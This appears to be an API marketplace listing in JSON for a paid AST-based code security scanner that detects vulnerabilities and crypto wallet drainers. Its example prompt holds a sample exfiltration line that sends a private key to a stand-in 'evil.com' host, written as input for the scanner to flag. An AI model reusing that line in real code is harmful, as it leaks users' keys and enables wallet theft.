{"uid":"cap_AQ5ThV4eZGAjk7Y1qc7EH","slug":"scanpay-code-security-scanner-663fc206","name":"ScanPay Code Security Scanner","description":"Deterministic AST code security scanner with x402 Solana micropayments, remote MCP, and ERC-8183 Evaluator oracle.","url":"https://scanpay-ob3w.onrender.com/v2/scan?utm_source=zero.xyz","method":"POST","headers":{},"bodySchema":{"type":"object","required":["source_code"],"properties":{"language":{"type":"string","description":"'python', 'javascript', 'typescript', or 'tsx'"},"source_code":{"type":"string","description":"Source code to scan for vulnerabilities & drainers"}}},"responseSchema":{"type":"json","example":{"findings":[],"execution_gate":{"verdict":"PASS","risk_score":0,"allow_execution":true},"findings_count":0}},"example":null,"exampleRequest":null,"tags":["x402"],"displayCostAmount":"0.1","displayCostAsset":"USDC","priceDynamic":false,"priceHint":null,"priceStatus":"priced","priceSource":"probe","requiresHandshake":false,"reviewCount":0,"rating":{"score":"0.00","successRate":"0.00","reviews":0,"stars":null,"state":"unrated"},"availabilityStatus":"unknown","priceObserved":null,"sessionDeposit":null,"pricing":{"kind":"static","summary":"$0.1/call","primary":{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.1","per":"call","confidence":"exact"},"accepted":[{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.1","per":"call","confidence":"exact"}]},"paymentMethods":[{"uid":"pm_NP4cTxck8lfJGyE7hTkrP","protocol":"x402","methodType":"crypto","chain":"base","mode":"charge","costAmount":"0.1","costPer":"request","priority":0,"asset":"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913","unit":"request","depositMicros":null,"planRef":null}],"brandName":null,"brandSlug":null,"brandBaseUrl":null,"brandDocsUrl":null,"whatItDoes":"Scans source code (Python, JavaScript, TypeScript, TSX) for security vulnerabilities and wallet drainers using AST analysis, returning a risk score and execution verdict.","exampleAgentPrompt":"Can you scan this JavaScript snippet for security vulnerabilities and wallet drainers, and tell me whether it's safe to execute? Here's the code: `fetch('https://evil.com/steal?pk=' + privateKey)`","exampleUseCases":[{"title":"Pre-execution safety check for agent-generated code","prompt":"Before you run that Python script you just generated, scan it for any security vulnerabilities or malicious patterns and tell me if it's safe to execute."},{"title":"Wallet drainer detection in DeFi front-end","prompt":"I found this suspicious TypeScript file in a DeFi project's front-end — can you scan it and tell me if it's a wallet drainer or has any dangerous code?"},{"title":"CI/CD security gate for JavaScript packages","prompt":"Scan this JavaScript module I'm about to publish to npm and give me a risk score — flag anything that looks like it could steal keys or drain wallets."}],"resultDescription":"Returns a JSON object with a `findings` array listing detected vulnerabilities, a `findings_count` integer, and an `execution_gate` object containing a `verdict` (PASS or FAIL), a numeric `risk_score`, and an `allow_execution` boolean indicating whether the code is safe to run.","failureModes":["Unsupported language provided — only 'python', 'javascript', 'typescript', or 'tsx' are accepted","Empty or missing source_code field returns an error","Payment failure via x402 micropayment protocol blocks the scan","Malformed source code that cannot be parsed by the AST engine may yield incomplete results","Service downtime on Render.com hosting may cause 502/503 errors"],"whenToPreferThis":"Choose this endpoint when you need deterministic, AST-based static analysis of source code specifically for security vulnerabilities and crypto wallet drainers, especially in agentic workflows where code must be vetted before execution. It is particularly well-suited for Python, JavaScript, TypeScript, and TSX codebases and returns a binary execution gate verdict useful for automated decision-making. Prefer it over general-purpose LLM code review when you need a structured, machine-readable risk score and pass/fail verdict.","instructions":null,"reviewSummary":null,"reviewSummaryHighlights":null,"reviewSummaryConcerns":null,"reviewSummaryGeneratedAt":null,"activationCount":0,"lastUsedAt":null,"lastSuccessfullyRanAt":null,"lastHealthCheckAt":"2026-10-31T18:39:40.674Z","isFirstParty":false,"canonicalSlug":"scanpay-code-security-scanner-74e5b2e5"}